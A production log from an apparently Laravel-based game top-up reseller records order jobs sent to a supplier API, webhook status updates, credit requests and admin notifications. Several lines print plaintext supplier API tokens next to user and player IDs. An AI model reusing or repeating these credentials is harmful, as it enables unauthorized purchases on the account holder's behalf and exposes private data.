[2026-03-24 18:30:08] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 961  
[2026-03-24 18:30:08] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 366  
[2026-03-24 18:30:08] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 373  
[2026-03-24 18:30:08] production.INFO: Handling job for order: 179110  
[2026-03-24 18:30:08] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:30:08] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:30:08] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/572/params?qty=2000&uuid=84ea941a-bbc5-4e81-a3dc-e57caa3d7249&Player_ID=471156  
[2026-03-24 18:30:08] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/572/params?qty=2000&uuid=84ea941a-bbc5-4e81-a3dc-e57caa3d7249&Player_ID=471156","has_body":false} 
[2026-03-24 18:30:09] production.INFO: Operation sent successfully {"operation_id":164012,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-SuYMVy-1774366208","amount":1.8182636000000000908727315618307329714298248291015625,"status":"processing","product":"Dimo Amount","game":"Dimo","notes":[],"created_at":"2026-03-24 18:30:09"}},"processed_data":{"order_number":"ORD-SuYMVy-1774366208","amount":1.8182636000000000908727315618307329714298248291015625,"status":"processing","product":"Dimo Amount","game":"Dimo"}} 
[2026-03-24 18:30:12] production.INFO: SendAcceptReject: Notification queued {"user_id":219,"notification_type":"request_approved","reference_id":18666} 
[2026-03-24 18:30:13] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-SuYMVy-1774366208","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 18:30:13] production.INFO: Processed webhook data (normalized) {"id":"ORD-SuYMVy-1774366208","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 18:30:13] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:30:13] production.INFO: SendAcceptReject: Notification queued {"user_id":107,"notification_type":"order_approved","reference_id":179110} 
[2026-03-24 18:30:13] production.INFO: Order updated successfully. Order ID: 179110, Status: completed  
[2026-03-24 18:30:13] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-SuYMVy-1774366208","status":"completed","codes_count":0} 
[2026-03-24 18:30:15] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 219  
[2026-03-24 18:30:15] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 107  
[2026-03-24 18:30:21] production.INFO: SendAcceptReject: Notification queued {"user_id":1285,"notification_type":"request_approved","reference_id":18667} 
[2026-03-24 18:30:24] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1285  
[2026-03-24 18:30:49] production.INFO: Constructing job for order: 179111  
[2026-03-24 18:30:51] production.INFO: Handling job for order: 179111  
[2026-03-24 18:30:51] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:30:51] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:30:51] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=415adffb-feb8-44b4-b6cb-f9f947a8d051&Player_ID=51809756851  
[2026-03-24 18:30:51] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=415adffb-feb8-44b4-b6cb-f9f947a8d051&Player_ID=51809756851","has_body":false} 
[2026-03-24 18:30:52] production.INFO: Operation sent successfully {"operation_id":164013,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-dXdbdNd-1774366251","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 18:30:52"}},"processed_data":{"order_number":"ORD-dXdbdNd-1774366251","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 18:31:01] production.INFO: Creating credit request {"payload":{"method_id":"14","amount":"602.5","mainamount":"602.5","operation_number":"158538951","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpi9a74st9ra7v98nYBpu"}},"user_id":1703} 
[2026-03-24 18:31:02] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-dXdbdNd-1774366251","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 18:31:02] production.INFO: Processed webhook data (normalized) {"id":"ORD-dXdbdNd-1774366251","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 18:31:02] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:31:02] production.INFO: SendAcceptReject: Notification queued {"user_id":50,"notification_type":"order_approved","reference_id":179111} 
[2026-03-24 18:31:02] production.INFO: Order updated successfully. Order ID: 179111, Status: completed  
[2026-03-24 18:31:02] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-dXdbdNd-1774366251","status":"completed","codes_count":0} 
[2026-03-24 18:31:03] production.INFO: Constructing job for order: 179112  
[2026-03-24 18:31:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 18:31:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 18:31:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 18:31:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 18:31:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 18:31:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 18:31:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 18:31:04] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 18:31:04] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18668,"user_id":1703,"amount":602.5,"admins_notified":7} 
[2026-03-24 18:31:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 50  
[2026-03-24 18:31:04] production.INFO: Handling job for order: 179112  
[2026-03-24 18:31:04] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:31:04] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:31:04] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=08704e29-74d5-4871-a214-ef22bb63851d&Player_ID=5638406947  
[2026-03-24 18:31:04] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=08704e29-74d5-4871-a214-ef22bb63851d&Player_ID=5638406947","has_body":false} 
[2026-03-24 18:31:04] production.INFO: Operation sent successfully {"operation_id":164014,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-7C23M-1774366264","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 18:31:04"}},"processed_data":{"order_number":"ORD-7C23M-1774366264","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 18:31:17] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-7C23M-1774366264","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 18:31:17] production.INFO: Processed webhook data (normalized) {"id":"ORD-7C23M-1774366264","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 18:31:17] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:31:17] production.INFO: SendAcceptReject: Notification queued {"user_id":1172,"notification_type":"order_approved","reference_id":179112} 
[2026-03-24 18:31:17] production.INFO: Order updated successfully. Order ID: 179112, Status: completed  
[2026-03-24 18:31:17] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-7C23M-1774366264","status":"completed","codes_count":0} 
[2026-03-24 18:31:19] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1172  
[2026-03-24 18:32:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"wnoVm3JseEXzrUmHAJg4upr6C0G4Q1ZK","execution_time":"2026-03-24 18:32:02"} 
[2026-03-24 18:32:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"wnoVm3JseEXzrUmHAJg4upr6C0G4Q1ZK","execution_time":"2026-03-24 18:32:02","total_operations":2,"sites_count":1} 
[2026-03-24 18:32:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"wnoVm3JseEXzrUmHAJg4upr6C0G4Q1ZK","execution_time":"2026-03-24 18:32:02","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-tmRYG-1774365381","ORD-Gvp-1774366164"]} 
[2026-03-24 18:32:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"wnoVm3JseEXzrUmHAJg4upr6C0G4Q1ZK","execution_time":"2026-03-24 18:32:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 18:32:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"wnoVm3JseEXzrUmHAJg4upr6C0G4Q1ZK","execution_time":"2026-03-24 18:32:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 18:32:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"wnoVm3JseEXzrUmHAJg4upr6C0G4Q1ZK","execution_time":"2026-03-24 18:32:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 18:32:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"wnoVm3JseEXzrUmHAJg4upr6C0G4Q1ZK","execution_time":"2026-03-24 18:32:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"processed":1,"skipped":1,"updates_prepared":1} 
[2026-03-24 18:32:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"wnoVm3JseEXzrUmHAJg4upr6C0G4Q1ZK","execution_time":"2026-03-24 18:32:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 18:32:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"wnoVm3JseEXzrUmHAJg4upr6C0G4Q1ZK","execution_time":"2026-03-24 18:32:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"count":1} 
[2026-03-24 18:32:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"wnoVm3JseEXzrUmHAJg4upr6C0G4Q1ZK","execution_time":"2026-03-24 18:32:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"count":1} 
[2026-03-24 18:32:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"wnoVm3JseEXzrUmHAJg4upr6C0G4Q1ZK","execution_time":"2026-03-24 18:32:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"user_id":1028,"notification_type":"order_approved","reference_id":179108} 
[2026-03-24 18:32:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"wnoVm3JseEXzrUmHAJg4upr6C0G4Q1ZK","execution_time":"2026-03-24 18:32:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 18:32:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"wnoVm3JseEXzrUmHAJg4upr6C0G4Q1ZK","execution_time":"2026-03-24 18:32:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 18:32:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"wnoVm3JseEXzrUmHAJg4upr6C0G4Q1ZK","execution_time":"2026-03-24 18:32:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"processed":1,"errors":0} 
[2026-03-24 18:32:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"wnoVm3JseEXzrUmHAJg4upr6C0G4Q1ZK","execution_time":"2026-03-24 18:32:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"processed":1,"errors":0} 
[2026-03-24 18:32:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"wnoVm3JseEXzrUmHAJg4upr6C0G4Q1ZK","execution_time":"2026-03-24 18:32:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 18:32:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1028  
[2026-03-24 18:32:15] production.INFO: Constructing job for order: 179113  
[2026-03-24 18:32:17] production.INFO: Handling job for order: 179113  
[2026-03-24 18:32:17] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:32:17] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:32:17] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/109/params?qty=10000&uuid=153a44d6-044e-46ac-a32f-b8e5cb67a853&Player_ID=1275067570  
[2026-03-24 18:32:17] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/109/params?qty=10000&uuid=153a44d6-044e-46ac-a32f-b8e5cb67a853&Player_ID=1275067570","has_body":false} 
[2026-03-24 18:32:18] production.INFO: Operation sent successfully {"operation_id":164015,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-89SxaKKd-1774366337","amount":1.1256000000000001559641304993419907987117767333984375,"status":"processing","product":"Tokens Amount","game":"Jawaker","notes":[],"created_at":"2026-03-24 18:32:18"}},"processed_data":{"order_number":"ORD-89SxaKKd-1774366337","amount":1.1256000000000001559641304993419907987117767333984375,"status":"processing","product":"Tokens Amount","game":"Jawaker"}} 
[2026-03-24 18:32:18] production.INFO: Constructing job for order: 179114  
[2026-03-24 18:32:21] production.INFO: Handling job for order: 179114  
[2026-03-24 18:32:21] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 18:32:21] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:32:21] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/34/params?qty=1&uuid=985b984e-1c0c-4a4b-a4c6-8f1665d4162e&Player_ID=0984813183  
[2026-03-24 18:32:21] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/34/params?qty=1&uuid=985b984e-1c0c-4a4b-a4c6-8f1665d4162e&Player_ID=0984813183","has_body":false} 
[2026-03-24 18:32:21] production.INFO: Operation sent successfully {"operation_id":164016,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-3WDe-1774366341","amount":47.691519999999997025952325202524662017822265625,"status":"processing","product":"45.19 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 18:32:21"}},"processed_data":{"order_number":"ORD-3WDe-1774366341","amount":47.691519999999997025952325202524662017822265625,"status":"processing","product":"45.19 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 18:32:23] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-89SxaKKd-1774366337","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 18:32:23] production.INFO: Processed webhook data (normalized) {"id":"ORD-89SxaKKd-1774366337","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 18:32:23] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:32:23] production.INFO: SendAcceptReject: Notification queued {"user_id":961,"notification_type":"order_approved","reference_id":179113} 
[2026-03-24 18:32:23] production.INFO: Order updated successfully. Order ID: 179113, Status: completed  
[2026-03-24 18:32:23] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-89SxaKKd-1774366337","status":"completed","codes_count":0} 
[2026-03-24 18:32:24] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 961  
[2026-03-24 18:32:55] production.INFO: SendAcceptReject: Notification queued {"user_id":1703,"notification_type":"request_approved","reference_id":18668} 
[2026-03-24 18:32:57] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1703  
[2026-03-24 18:33:10] production.INFO: Creating credit request {"payload":{"method_id":"1","amount":"25.0","mainamount":"25","operation_number":"466458","currency_id":"1","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpecfm3njdaq46fmFnY79"}},"user_id":290} 
[2026-03-24 18:33:12] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 18:33:12] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 18:33:12] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 18:33:12] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 18:33:12] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 18:33:12] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 18:33:12] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 18:33:12] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 18:33:12] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18669,"user_id":290,"amount":25.0,"admins_notified":7} 
[2026-03-24 18:33:30] production.INFO: Constructing job for order: 179115  
[2026-03-24 18:33:33] production.INFO: Handling job for order: 179115  
[2026-03-24 18:33:33] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:33:33] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:33:33] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=3c2bb87d-851d-4399-89cc-e1db7fc355e1&Player_ID=51889640418  
[2026-03-24 18:33:33] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=3c2bb87d-851d-4399-89cc-e1db7fc355e1&Player_ID=51889640418","has_body":false} 
[2026-03-24 18:33:34] production.INFO: Operation sent successfully {"operation_id":164017,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-HzXjo-1774366414","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 18:33:34"}},"processed_data":{"order_number":"ORD-HzXjo-1774366414","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 18:33:36] production.INFO: Constructing job for order: 179116  
[2026-03-24 18:33:36] production.INFO: Constructing job for order: 179117  
[2026-03-24 18:33:37] production.INFO: Handling job for order: 179116  
[2026-03-24 18:33:37] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:33:37] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:33:37] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=5ecd2cad-fbac-4da0-b411-7146fbb92888&Player_ID=9984159749  
[2026-03-24 18:33:37] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=5ecd2cad-fbac-4da0-b411-7146fbb92888&Player_ID=9984159749","has_body":false} 
[2026-03-24 18:33:38] production.INFO: Operation sent successfully {"operation_id":164018,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-qaeCeBn-1774366418","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 18:33:38"}},"processed_data":{"order_number":"ORD-qaeCeBn-1774366418","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 18:33:38] production.INFO: Handling job for order: 179117  
[2026-03-24 18:33:38] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:33:38] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:33:38] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/730/params?qty=15000&uuid=fd91255d-e81d-4e8c-a2c6-12470c70ab2c&Player_ID=563548487  
[2026-03-24 18:33:38] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/730/params?qty=15000&uuid=fd91255d-e81d-4e8c-a2c6-12470c70ab2c&Player_ID=563548487","has_body":false} 
[2026-03-24 18:33:39] production.INFO: Operation sent successfully {"operation_id":164019,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-LHv7E-1774366419","amount":1.51200750000000017081447367672808468341827392578125,"status":"processing","product":"TAKA Amount","game":"TakaChat","notes":[],"created_at":"2026-03-24 18:33:39"}},"processed_data":{"order_number":"ORD-LHv7E-1774366419","amount":1.51200750000000017081447367672808468341827392578125,"status":"processing","product":"TAKA Amount","game":"TakaChat"}} 
[2026-03-24 18:33:39] production.INFO: Constructing job for order: 179118  
[2026-03-24 18:33:42] production.INFO: Handling job for order: 179118  
[2026-03-24 18:33:42] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:33:42] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:33:42] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/94/params?qty=1000&uuid=403564d8-5f0a-422a-94ab-9775ec4b138e&Player_ID=32234919  
[2026-03-24 18:33:42] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/94/params?qty=1000&uuid=403564d8-5f0a-422a-94ab-9775ec4b138e&Player_ID=32234919","has_body":false} 
[2026-03-24 18:33:43] production.INFO: Operation sent successfully {"operation_id":164020,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-zyvK115-1774366422","amount":1.71667229999999992884340827004052698612213134765625,"status":"processing","product":"Soulchill Amount","game":"SoulChill","notes":[],"created_at":"2026-03-24 18:33:43"}},"processed_data":{"order_number":"ORD-zyvK115-1774366422","amount":1.71667229999999992884340827004052698612213134765625,"status":"processing","product":"Soulchill Amount","game":"SoulChill"}} 
[2026-03-24 18:33:48] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-HzXjo-1774366414","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 18:33:48] production.INFO: Processed webhook data (normalized) {"id":"ORD-HzXjo-1774366414","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 18:33:48] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:33:48] production.INFO: SendAcceptReject: Notification queued {"user_id":1285,"notification_type":"order_approved","reference_id":179115} 
[2026-03-24 18:33:48] production.INFO: Order updated successfully. Order ID: 179115, Status: completed  
[2026-03-24 18:33:48] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-HzXjo-1774366414","status":"completed","codes_count":0} 
[2026-03-24 18:33:49] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1285  
[2026-03-24 18:34:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"26lQdDxgpKsdRCudqM49yAdBgN7Kvg0m","execution_time":"2026-03-24 18:34:04"} 
[2026-03-24 18:34:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"26lQdDxgpKsdRCudqM49yAdBgN7Kvg0m","execution_time":"2026-03-24 18:34:04","total_operations":5,"sites_count":2} 
[2026-03-24 18:34:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"26lQdDxgpKsdRCudqM49yAdBgN7Kvg0m","execution_time":"2026-03-24 18:34:04","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-tmRYG-1774365381","ORD-qaeCeBn-1774366418","ORD-LHv7E-1774366419","ORD-zyvK115-1774366422"]} 
[2026-03-24 18:34:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"26lQdDxgpKsdRCudqM49yAdBgN7Kvg0m","execution_time":"2026-03-24 18:34:04","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 18:34:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"26lQdDxgpKsdRCudqM49yAdBgN7Kvg0m","execution_time":"2026-03-24 18:34:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 18:34:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"26lQdDxgpKsdRCudqM49yAdBgN7Kvg0m","execution_time":"2026-03-24 18:34:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-LHv7E-1774366419","operation_id":164019} 
[2026-03-24 18:34:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"26lQdDxgpKsdRCudqM49yAdBgN7Kvg0m","execution_time":"2026-03-24 18:34:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-qaeCeBn-1774366418","operation_id":164018} 
[2026-03-24 18:34:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"26lQdDxgpKsdRCudqM49yAdBgN7Kvg0m","execution_time":"2026-03-24 18:34:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 18:34:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"26lQdDxgpKsdRCudqM49yAdBgN7Kvg0m","execution_time":"2026-03-24 18:34:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zyvK115-1774366422","operation_id":164020} 
[2026-03-24 18:34:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"26lQdDxgpKsdRCudqM49yAdBgN7Kvg0m","execution_time":"2026-03-24 18:34:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zyvK115-1774366422","operation_id":164020,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 18:34:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"26lQdDxgpKsdRCudqM49yAdBgN7Kvg0m","execution_time":"2026-03-24 18:34:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zyvK115-1774366422","operation_id":164020,"processed":0,"errors":0} 
[2026-03-24 18:34:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"26lQdDxgpKsdRCudqM49yAdBgN7Kvg0m","execution_time":"2026-03-24 18:34:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zyvK115-1774366422","operation_id":164020,"orders_count":1,"order_ids":["ORD-3WDe-1774366341"]} 
[2026-03-24 18:34:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"26lQdDxgpKsdRCudqM49yAdBgN7Kvg0m","execution_time":"2026-03-24 18:34:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zyvK115-1774366422","operation_id":164020} 
[2026-03-24 18:34:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"26lQdDxgpKsdRCudqM49yAdBgN7Kvg0m","execution_time":"2026-03-24 18:34:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zyvK115-1774366422","operation_id":164020,"orders_count":1} 
[2026-03-24 18:34:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"26lQdDxgpKsdRCudqM49yAdBgN7Kvg0m","execution_time":"2026-03-24 18:34:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-3WDe-1774366341","operation_id":164016,"processed":1,"skipped":0,"updates_prepared":1} 
